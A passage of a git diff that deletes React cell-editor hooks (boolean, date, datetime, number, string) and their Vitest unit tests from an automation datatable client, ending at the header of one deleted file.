-            const selectedDate = new Date(2024, 5, 20);
-
-            act(() => {
-                result.current.handleDateSelect(selectedDate);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({createdAt: '2024-06-20', id: 'row-1'}, true);
-        });
-
-        it('closes popover after selection', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-            const selectedDate = new Date(2024, 5, 20);
-
-            act(() => {
-                result.current.handleDateSelect(selectedDate);
-            });
-
-            expect(result.current.isPopoverOpen).toBe(false);
-        });
-
-        it('does nothing when selectedDate is undefined', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleDateSelect(undefined);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-            expect(result.current.isPopoverOpen).toBe(true);
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('allows closing the popover', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.isPopoverOpen).toBe(false);
-        });
-
-        it('allows reopening the popover', () => {
-            const {result} = renderHook(() => useDateCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(result.current.isPopoverOpen).toBe(true);
-        });
-    });
-});
-
-describe('parseDate', () => {
-    it('parses valid date string', () => {
-        const result = parseDate('2024-01-15');
-
-        expect(result).toBeInstanceOf(Date);
-        expect(result?.getFullYear()).toBe(2024);
-    });
-
-    it('returns undefined for empty value', () => {
-        expect(parseDate('')).toBeUndefined();
-        expect(parseDate(null)).toBeUndefined();
-        expect(parseDate(undefined)).toBeUndefined();
-    });
-
-    it('returns undefined for invalid date string', () => {
-        expect(parseDate('invalid-date')).toBeUndefined();
-    });
-});
-
-describe('formatDateValue', () => {
-    it('formats valid date string', () => {
-        expect(formatDateValue('2024-01-15')).toBe('2024-01-15');
-    });
-
-    it('returns empty string for empty value', () => {
-        expect(formatDateValue('')).toBe('');
-        expect(formatDateValue(null)).toBe('');
-        expect(formatDateValue(undefined)).toBe('');
-    });
-
-    it('returns original string for invalid date', () => {
-        expect(formatDateValue('invalid')).toBe('');
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateTimeCellEditor.test.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateTimeCellEditor.test.ts
deleted file mode 100644
index 5b9e1955204..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useDateTimeCellEditor.test.ts
+++ /dev/null
@@ -1,216 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {type ChangeEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDateTimeCellEditor, {formatDateTimeValue, parseDateTime} from '../useDateTimeCellEditor';
-
-describe('useDateTimeCellEditor', () => {
-    const mockOnRowChange = vi.fn();
-
-    const defaultProps = {
-        columnName: 'updatedAt',
-        onRowChange: mockOnRowChange,
-        row: {id: 'row-1', updatedAt: '2024-01-15 14:30:00'},
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns popover open by default', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            expect(result.current.isPopoverOpen).toBe(true);
-        });
-
-        it('parses initial date and time from row', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            expect(result.current.selectedDate.getFullYear()).toBe(2024);
-            expect(result.current.selectedDate.getMonth()).toBe(0);
-            expect(result.current.selectedDate.getDate()).toBe(15);
-            expect(result.current.selectedDate.getHours()).toBe(14);
-            expect(result.current.selectedDate.getMinutes()).toBe(30);
-        });
-
-        it('uses current date when cell value is empty', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', updatedAt: ''},
-            };
-
-            const {result} = renderHook(() => useDateTimeCellEditor(props));
-            const now = new Date();
-
-            expect(result.current.selectedDate.getFullYear()).toBe(now.getFullYear());
-        });
-
-        it('returns formatted hours with leading zero', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', updatedAt: '2024-01-15 09:05:00'},
-            };
-
-            const {result} = renderHook(() => useDateTimeCellEditor(props));
-
-            expect(result.current.formattedHours).toBe('09');
-            expect(result.current.formattedMinutes).toBe('05');
-        });
-
-        it('returns display text in correct format', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            expect(result.current.displayText).toBe('2024-01-15 14:30');
-        });
-    });
-
-    describe('handleDateSelect', () => {
-        it('updates date portion while preserving time', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-            const newDate = new Date(2024, 5, 20);
-
-            act(() => {
-                result.current.handleDateSelect(newDate);
-            });
-
-            expect(result.current.selectedDate.getFullYear()).toBe(2024);
-            expect(result.current.selectedDate.getMonth()).toBe(5);
-            expect(result.current.selectedDate.getDate()).toBe(20);
-            expect(result.current.selectedDate.getHours()).toBe(14);
-            expect(result.current.selectedDate.getMinutes()).toBe(30);
-        });
-
-        it('does nothing when date is undefined', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-            const originalDate = result.current.selectedDate;
-
-            act(() => {
-                result.current.handleDateSelect(undefined);
-            });
-
-            expect(result.current.selectedDate.getTime()).toBe(originalDate.getTime());
-        });
-    });
-
-    describe('handleTimeChange', () => {
-        it('updates time from input', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-            const event = {target: {value: '16:45'}} as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleTimeChange(event);
-            });
-
-            expect(result.current.selectedDate.getHours()).toBe(16);
-            expect(result.current.selectedDate.getMinutes()).toBe(45);
-        });
-
-        it('clamps hours to valid range', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-            const event = {target: {value: '25:30'}} as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleTimeChange(event);
-            });
-
-            expect(result.current.selectedDate.getHours()).toBe(23);
-        });
-
-        it('clamps minutes to valid range', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-            const event = {target: {value: '12:70'}} as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleTimeChange(event);
-            });
-
-            expect(result.current.selectedDate.getMinutes()).toBe(59);
-        });
-    });
-
-    describe('handleCommit', () => {
-        it('calls onRowChange with formatted datetime', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleCommit();
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith(
-                expect.objectContaining({
-                    id: 'row-1',
-                    updatedAt: expect.stringMatching(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/),
-                }),
-                true
-            );
-        });
-
-        it('closes popover after commit', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleCommit();
-            });
-
-            expect(result.current.isPopoverOpen).toBe(false);
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('commits when closing popover', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalled();
-            expect(result.current.isPopoverOpen).toBe(false);
-        });
-
-        it('does not commit when opening popover', () => {
-            const {result} = renderHook(() => useDateTimeCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            vi.clearAllMocks();
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-            expect(result.current.isPopoverOpen).toBe(true);
-        });
-    });
-});
-
-describe('parseDateTime', () => {
-    it('parses valid datetime string', () => {
-        const result = parseDateTime('2024-01-15 14:30:00');
-
-        expect(result).toBeInstanceOf(Date);
-        expect(result?.getFullYear()).toBe(2024);
-        expect(result?.getHours()).toBe(14);
-    });
-
-    it('returns undefined for empty value', () => {
-        expect(parseDateTime('')).toBeUndefined();
-        expect(parseDateTime(null)).toBeUndefined();
-        expect(parseDateTime(undefined)).toBeUndefined();
-    });
-});
-
-describe('formatDateTimeValue', () => {
-    it('formats valid datetime string', () => {
-        expect(formatDateTimeValue('2024-01-15 14:30:00')).toBe('2024-01-15 14:30');
-    });
-
-    it('returns empty string for empty value', () => {
-        expect(formatDateTimeValue('')).toBe('');
-        expect(formatDateTimeValue(null)).toBe('');
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useNumberCellEditor.test.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useNumberCellEditor.test.ts
deleted file mode 100644
index 12f7c6e3eef..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useNumberCellEditor.test.ts
+++ /dev/null
@@ -1,199 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {type ChangeEvent, type FocusEvent, type KeyboardEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useNumberCellEditor from '../useNumberCellEditor';
-
-describe('useNumberCellEditor', () => {
-    const mockOnRowChange = vi.fn();
-
-    const defaultProps = {
-        columnName: 'quantity',
-        onRowChange: mockOnRowChange,
-        row: {id: 'row-1', quantity: 42},
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns input value as string', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-
-            expect(result.current.inputValue).toBe('42');
-        });
-
-        it('returns empty string when cell value is null', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', quantity: null},
-            };
-
-            const {result} = renderHook(() => useNumberCellEditor(props));
-
-            expect(result.current.inputValue).toBe('');
-        });
-
-        it('returns empty string when cell value is undefined', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useNumberCellEditor(props));
-
-            expect(result.current.inputValue).toBe('');
-        });
-
-        it('handles decimal numbers', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', quantity: 3.14},
-            };
-
-            const {result} = renderHook(() => useNumberCellEditor(props));
-
-            expect(result.current.inputValue).toBe('3.14');
-        });
-
-        it('handles negative numbers', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1', quantity: -10},
-            };
-
-            const {result} = renderHook(() => useNumberCellEditor(props));
-
-            expect(result.current.inputValue).toBe('-10');
-        });
-    });
-
-    describe('handleChange', () => {
-        it('updates input value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: '100'}} as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleChange(event);
-            });
-
-            expect(result.current.inputValue).toBe('100');
-        });
-
-        it('allows non-numeric input temporarily', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: 'abc'}} as ChangeEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleChange(event);
-            });
-
-            expect(result.current.inputValue).toBe('abc');
-        });
-    });
-
-    describe('handleBlur', () => {
-        it('commits valid numeric value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: '100'}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: 100}, true);
-        });
-
-        it('commits null for empty value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: ''}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: null}, true);
-        });
-
-        it('commits null for whitespace-only value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: '   '}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: null}, true);
-        });
-
-        it('does not commit for invalid numeric value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: 'abc'}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-        });
-
-        it('commits decimal value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: '3.14'}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: 3.14}, true);
-        });
-
-        it('commits negative value', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-            const event = {target: {value: '-50'}} as FocusEvent<HTMLInputElement>;
-
-            act(() => {
-                result.current.handleBlur(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: -50}, true);
-        });
-    });
-
-    describe('handleKeyDown', () => {
-        it('commits on Enter key', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleChange({target: {value: '100'}} as ChangeEvent<HTMLInputElement>);
-            });
-
-            act(() => {
-                result.current.handleKeyDown({key: 'Enter'} as KeyboardEvent<HTMLInputElement>);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: 'row-1', quantity: 100}, true);
-        });
-
-        it('does not commit on other keys', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleKeyDown({key: 'Tab'} as KeyboardEvent<HTMLInputElement>);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-        });
-
-        it('does not commit on Escape key', () => {
-            const {result} = renderHook(() => useNumberCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleKeyDown({key: 'Escape'} as KeyboardEvent<HTMLInputElement>);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useStringCellEditor.test.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useStringCellEditor.test.ts
deleted file mode 100644
index 957698c2f3d..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/tests/useStringCellEditor.test.ts
+++ /dev/null
@@ -1,246 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {type ChangeEvent, type KeyboardEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useStringCellEditor from '../useStringCellEditor';
-
-describe('useStringCellEditor', () => {
-    const mockOnRowChange = vi.fn();
-
-    const defaultProps = {
-        columnName: 'description',
-        onRowChange: mockOnRowChange,
-        row: {description: 'Initial text', id: 'row-1'},
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns open by default', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            expect(result.current.isOpen).toBe(true);
-        });
-
-        it('initializes text from row', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            expect(result.current.text).toBe('Initial text');
-        });
-
-        it('handles null cell value', () => {
-            const props = {
-                ...defaultProps,
-                row: {description: null, id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useStringCellEditor(props));
-
-            expect(result.current.text).toBe('');
-        });
-
-        it('handles undefined cell value', () => {
-            const props = {
-                ...defaultProps,
-                row: {id: 'row-1'},
-            };
-
-            const {result} = renderHook(() => useStringCellEditor(props));
-
-            expect(result.current.text).toBe('');
-        });
-    });
-
-    describe('handleTextChange', () => {
-        it('updates text value', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-            const event = {target: {value: 'New text'}} as ChangeEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleTextChange(event);
-            });
-
-            expect(result.current.text).toBe('New text');
-        });
-
-        it('handles empty text', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-            const event = {target: {value: ''}} as ChangeEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleTextChange(event);
-            });
-
-            expect(result.current.text).toBe('');
-        });
-    });
-
-    describe('handleSave', () => {
-        it('calls onRowChange with updated text and commits', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleTextChange({target: {value: 'Updated text'}} as ChangeEvent<HTMLTextAreaElement>);
-            });
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({description: 'Updated text', id: 'row-1'}, true);
-        });
-
-        it('closes the popover', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(result.current.isOpen).toBe(false);
-        });
-    });
-
-    describe('handleCancel', () => {
-        it('calls onRowChange with original row and commits', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleTextChange({target: {value: 'Changed text'}} as ChangeEvent<HTMLTextAreaElement>);
-            });
-
-            act(() => {
-                result.current.handleCancel();
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({description: 'Initial text', id: 'row-1'}, true);
-        });
-
-        it('closes the popover', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleCancel();
-            });
-
-            expect(result.current.isOpen).toBe(false);
-        });
-    });
-
-    describe('handleKeyDown', () => {
-        it('saves on Enter key', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-            const event = {
-                key: 'Enter',
-                preventDefault: vi.fn(),
-                shiftKey: false,
-                stopPropagation: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({description: 'Initial text', id: 'row-1'}, true);
-            expect(event.preventDefault).toHaveBeenCalled();
-            expect(event.stopPropagation).toHaveBeenCalled();
-        });
-
-        it('does not save on Shift+Enter', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-            const event = {
-                key: 'Enter',
-                preventDefault: vi.fn(),
-                shiftKey: true,
-                stopPropagation: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-            expect(event.stopPropagation).toHaveBeenCalled();
-        });
-
-        it('cancels on Escape key', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleTextChange({target: {value: 'Changed'}} as ChangeEvent<HTMLTextAreaElement>);
-            });
-
-            const event = {
-                key: 'Escape',
-                stopPropagation: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({description: 'Initial text', id: 'row-1'}, true);
-            expect(event.stopPropagation).toHaveBeenCalled();
-        });
-
-        it('does nothing on other keys', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-            const event = {
-                key: 'Tab',
-            } as unknown as KeyboardEvent<HTMLTextAreaElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-            expect(result.current.isOpen).toBe(true);
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('calls onRowChange when closing without commit', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({description: 'Initial text', id: 'row-1'}, true);
-        });
-
-        it('does not call onRowChange when closing after save', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            vi.clearAllMocks();
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-        });
-
-        it('does not call onRowChange when opening', () => {
-            const {result} = renderHook(() => useStringCellEditor(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            vi.clearAllMocks();
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(mockOnRowChange).not.toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useBooleanCellEditor.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/useBooleanCellEditor.ts
deleted file mode 100644
index c75da79c73e..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useBooleanCellEditor.ts
+++ /dev/null
@@ -1,39 +0,0 @@
-import type {GridRowType} from '..';
-import type {Dispatch, SetStateAction} from 'react';
-
-interface UseBooleanCellEditorProps {
-    columnName: string;
-    onToggle: (rowId: string, columnName: string, value: boolean) => void;
-    row: GridRowType;
-    setLocalRows: Dispatch<SetStateAction<GridRowType[]>>;
-}
-
-interface UseBooleanCellEditorI {
-    checked: boolean;
-    handleToggle: (nextValue: boolean) => void;
-}
-
-export default function useBooleanCellEditor({
-    columnName,
-    onToggle,
-    row,
-    setLocalRows,
-}: UseBooleanCellEditorProps): UseBooleanCellEditorI {
-    const rowId = row.id;
-    const checked = Boolean((row as Record<string, unknown>)[columnName]);
-
-    const handleToggle = (nextValue: boolean) => {
-        setLocalRows((previousRows) =>
-            previousRows.map((currentRow) =>
-                currentRow.id === rowId ? {...currentRow, [columnName]: nextValue} : currentRow
-            )
-        );
-
-        onToggle(rowId, columnName, nextValue);
-    };
-
-    return {
-        checked,
-        handleToggle,
-    };
-}
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateCellEditor.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateCellEditor.ts
deleted file mode 100644
index 8169cf4e6bd..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateCellEditor.ts
+++ /dev/null
@@ -1,73 +0,0 @@
-import {format as formatDate} from 'date-fns';
-import {useState} from 'react';
-
-import type {GridRowType} from '..';
-
-interface UseDateCellEditorProps {
-    columnName: string;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-    row: GridRowType;
-}
-
-interface UseDateCellEditorI {
-    displayText: string;
-    handleDateSelect: (selectedDate: Date | undefined) => void;
-    handleOpenChange: (open: boolean) => void;
-    initialDate: Date | undefined;
-    isPopoverOpen: boolean;
-}
-
-const parseDate = (value: unknown): Date | undefined => {
-    if (!value) return undefined;
-
-    const date = new Date(String(value));
-
-    return isNaN(date.getTime()) ? undefined : date;
-};
-
-const formatDateValue = (value: unknown): string => {
-    if (!value) return '';
-
-    try {
-        const date = new Date(String(value));
-
-        if (!isNaN(date.getTime())) {
-            return formatDate(date, 'yyyy-MM-dd');
-        }
-    } catch {
-        return String(value);
-    }
-
-    return '';
-};
-
-export default function useDateCellEditor({columnName, onRowChange, row}: UseDateCellEditorProps): UseDateCellEditorI {
-    const [isPopoverOpen, setIsPopoverOpen] = useState(true);
-
-    const cellValue = (row as Record<string, unknown>)[columnName];
-    const initialDate = parseDate(cellValue);
-    const displayText = formatDateValue(cellValue);
-
-    const handleDateSelect = (selectedDate: Date | undefined) => {
-        if (!selectedDate) return;
-
-        const formattedValue = formatDate(selectedDate, 'yyyy-MM-dd');
-
-        onRowChange({...row, [columnName]: formattedValue}, true);
-        setIsPopoverOpen(false);
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        setIsPopoverOpen(open);
-    };
-
-    return {
-        displayText,
-        handleDateSelect,
-        handleOpenChange,
-        initialDate,
-        isPopoverOpen,
-    };
-}
-
-export {formatDateValue, parseDate};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateTimeCellEditor.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateTimeCellEditor.ts
deleted file mode 100644
index 713451230bb..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useDateTimeCellEditor.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import {format as formatDate} from 'date-fns';
-import {type ChangeEvent, useState} from 'react';
-
-import type {GridRowType} from '..';
-
-interface UseDateTimeCellEditorProps {
-    columnName: string;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-    row: GridRowType;
-}
-
-interface UseDateTimeCellEditorI {
-    displayText: string;
-    formattedHours: string;
-    formattedMinutes: string;
-    handleCommit: () => void;
-    handleDateSelect: (calendarDate: Date | undefined) => void;
-    handleOpenChange: (isOpen: boolean) => void;
-    handleTimeChange: (event: ChangeEvent<HTMLInputElement>) => void;
-    isPopoverOpen: boolean;
-    selectedDate: Date;
-}
-
-const parseDateTime = (value: unknown): Date | undefined => {
-    if (!value) return undefined;
-
-    const date = new Date(String(value));
-
-    return isNaN(date.getTime()) ? undefined : date;
-};
-
-const formatDateTimeValue = (value: unknown): string => {
-    if (!value) return '';
-
-    try {
-        const date = new Date(String(value));
-
-        if (!isNaN(date.getTime())) {
-            return formatDate(date, 'yyyy-MM-dd HH:mm');
-        }
-    } catch {
-        return String(value);
-    }
-
-    return '';
-};
-
-export default function useDateTimeCellEditor({
-    columnName,
-    onRowChange,
-    row,
-}: UseDateTimeCellEditorProps): UseDateTimeCellEditorI {
-    const cellValue = (row as Record<string, unknown>)[columnName];
-
-    const [isPopoverOpen, setIsPopoverOpen] = useState(true);
-    const [selectedDate, setSelectedDate] = useState<Date>(parseDateTime(cellValue) ?? new Date());
-
-    const displayText = formatDateTimeValue(cellValue);
-    const formattedHours = String(selectedDate.getHours()).padStart(2, '0');
-    const formattedMinutes = String(selectedDate.getMinutes()).padStart(2, '0');
-
-    const handleCommit = () => {
-        const formattedValue = formatDate(selectedDate, 'yyyy-MM-dd HH:mm:ss');
-
-        onRowChange({...row, [columnName]: formattedValue}, true);
-        setIsPopoverOpen(false);
-    };
-
-    const handleOpenChange = (isOpen: boolean) => {
-        if (!isOpen) {
-            handleCommit();
-        }
-
-        setIsPopoverOpen(isOpen);
-    };
-
-    const handleTimeChange = (event: ChangeEvent<HTMLInputElement>) => {
-        const [hour, minute] = event.target.value.split(':');
-        const updatedDate = new Date(selectedDate);
-
-        const clampedHours = Math.min(23, Math.max(0, Number(hour)));
-        const clampedMinutes = Math.min(59, Math.max(0, Number(minute)));
-
-        updatedDate.setHours(clampedHours);
-        updatedDate.setMinutes(clampedMinutes);
-
-        setSelectedDate(updatedDate);
-    };
-
-    const handleDateSelect = (calendarDate: Date | undefined) => {
-        if (!calendarDate) return;
-
-        const updatedDate = new Date(selectedDate);
-
-        updatedDate.setFullYear(calendarDate.getFullYear(), calendarDate.getMonth(), calendarDate.getDate());
-
-        setSelectedDate(updatedDate);
-    };
-
-    return {
-        displayText,
-        formattedHours,
-        formattedMinutes,
-        handleCommit,
-        handleDateSelect,
-        handleOpenChange,
-        handleTimeChange,
-        isPopoverOpen,
-        selectedDate,
-    };
-}
-
-export {formatDateTimeValue, parseDateTime};
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useNumberCellEditor.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/useNumberCellEditor.ts
deleted file mode 100644
index a673e0bc5b4..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useNumberCellEditor.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-import {type ChangeEvent, type FocusEvent, type KeyboardEvent, useState} from 'react';
-
-import type {GridRowType} from '..';
-
-interface UseNumberCellEditorProps {
-    columnName: string;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-    row: GridRowType;
-}
-
-interface UseNumberCellEditorI {
-    handleBlur: (event: FocusEvent<HTMLInputElement>) => void;
-    handleChange: (event: ChangeEvent<HTMLInputElement>) => void;
-    handleKeyDown: (event: KeyboardEvent<HTMLInputElement>) => void;
-    inputValue: string;
-}
-
-export default function useNumberCellEditor({
-    columnName,
-    onRowChange,
-    row,
-}: UseNumberCellEditorProps): UseNumberCellEditorI {
-    const cellValue = (row as Record<string, unknown>)[columnName];
-    const initialValue = cellValue === null || cellValue === undefined ? '' : String(cellValue);
-
-    const [inputValue, setInputValue] = useState(initialValue);
-
-    const commitValue = (value: string, shouldCommit: boolean) => {
-        const trimmedValue = value.trim();
-
-        if (trimmedValue === '') {
-            onRowChange({...row, [columnName]: null}, shouldCommit);
-
-            return;
-        }
-
-        const numericValue = Number(trimmedValue);
-
-        if (Number.isNaN(numericValue)) {
-            return;
-        }
-
-        onRowChange({...row, [columnName]: numericValue}, shouldCommit);
-    };
-
-    const handleBlur = (event: FocusEvent<HTMLInputElement>) => {
-        commitValue(event.target.value, true);
-    };
-
-    const handleChange = (event: ChangeEvent<HTMLInputElement>) => {
-        setInputValue(event.target.value);
-    };
-
-    const handleKeyDown = (event: KeyboardEvent<HTMLInputElement>) => {
-        if (event.key === 'Enter') {
-            commitValue(inputValue, true);
-        }
-    };
-
-    return {
-        handleBlur,
-        handleChange,
-        handleKeyDown,
-        inputValue,
-    };
-}
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useStringCellEditor.ts b/client/src/pages/automation/datatable/components/cell-renderers/hooks/useStringCellEditor.ts
deleted file mode 100644
index 863a6abb817..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/hooks/useStringCellEditor.ts
+++ /dev/null
@@ -1,93 +0,0 @@
